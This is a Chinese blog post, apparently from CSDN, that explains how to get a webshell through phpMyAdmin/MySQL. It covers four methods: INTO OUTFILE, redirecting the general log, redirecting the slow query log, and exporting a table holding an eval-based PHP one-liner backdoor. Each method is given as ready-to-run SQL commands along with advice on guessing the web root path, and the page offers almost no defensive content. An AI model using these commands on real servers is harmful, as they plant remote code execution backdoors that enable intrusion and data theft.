phpmyadmin——提权

本文探讨了如何通过SQL注入利用intooutfile、日志文件和慢查询来获取Webshell,以及如何通过设置和管理数据库权限进行安全防护。
摘要由CSDN通过智能技术生成

一、into outfile写马

1.对web目录需要有写权限能够使用单引号

2.secure_file_priv 不为null 具体描述在下边。

3.要知道网站的绝对路径,写入马才能连接。

利用方法

先根据各种信息收集 判断或猜测出网站的绝对路径

比如 如果是 phpstudy启动的 根据 mysql 安装路径 就可以猜出网站的位置

如果是 linux 一般位于 /var/www/html

select @@basedir;  查找mysql安装路径
show global variables like '%secure_file_priv%';
select '<?php @eval($_POST[a]);?>'INTO OUTFILE '/var/www/html/shell.php'

二、开启日志写马getshell

条件

用于 secur_file_priv 为null 或限定值 不在网页目录时

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:

general_log:日志保存状态

general_log_file:日志保存路径

利用方法
SHOW VARIABLES LIKE 'general%';  # 查看general_log 是否开启
set global general_log = "ON";      # 开启
set global general_log_file='C:/phpStudy/WWW/shell.php';
select '<?php eval($_POST["pwd"]);?>'

三、慢查询webshell

利用方法
show variables like '%slow%'
set global slow_query_log=1;
set global slow_query_log_file='C://phpStudy//WWW//slow_log.php';
select @@long_query_time;
select '<?php @eval($_POST["pwd"]);?>' or sleep(11);

四、创建数据库和表写入webshell

条件

Root数据库用户(root权限);
网站绝对路径(确定有写入权限);
secure_file_priv没有具体值。

利用方法

建库

建表

建字段

插入数据 一句话木马

<?php eval($_POST[pwd]); ?>'

执行SQL查询,将该表中的内容导出到指定文件

物理路径为"/var/www/html/pma"

use test; 连接test数据库

select * from test_table into outfile "/var/www/html/pma/shell.php";

连接成功

最后删除该库

drop database test;

或者用命令也可以 执行

执行下面的sql语句,创建表并在表中写入一句话木马,在导出到网站的根路径。

CREATE TABLE test( id text(500) not null);    
INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');    
SELECT id FROM test INTO OUTFILE 'C:/phpstudy/WWW/1.php';    
DROP TABLE IF EXISTS test;

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值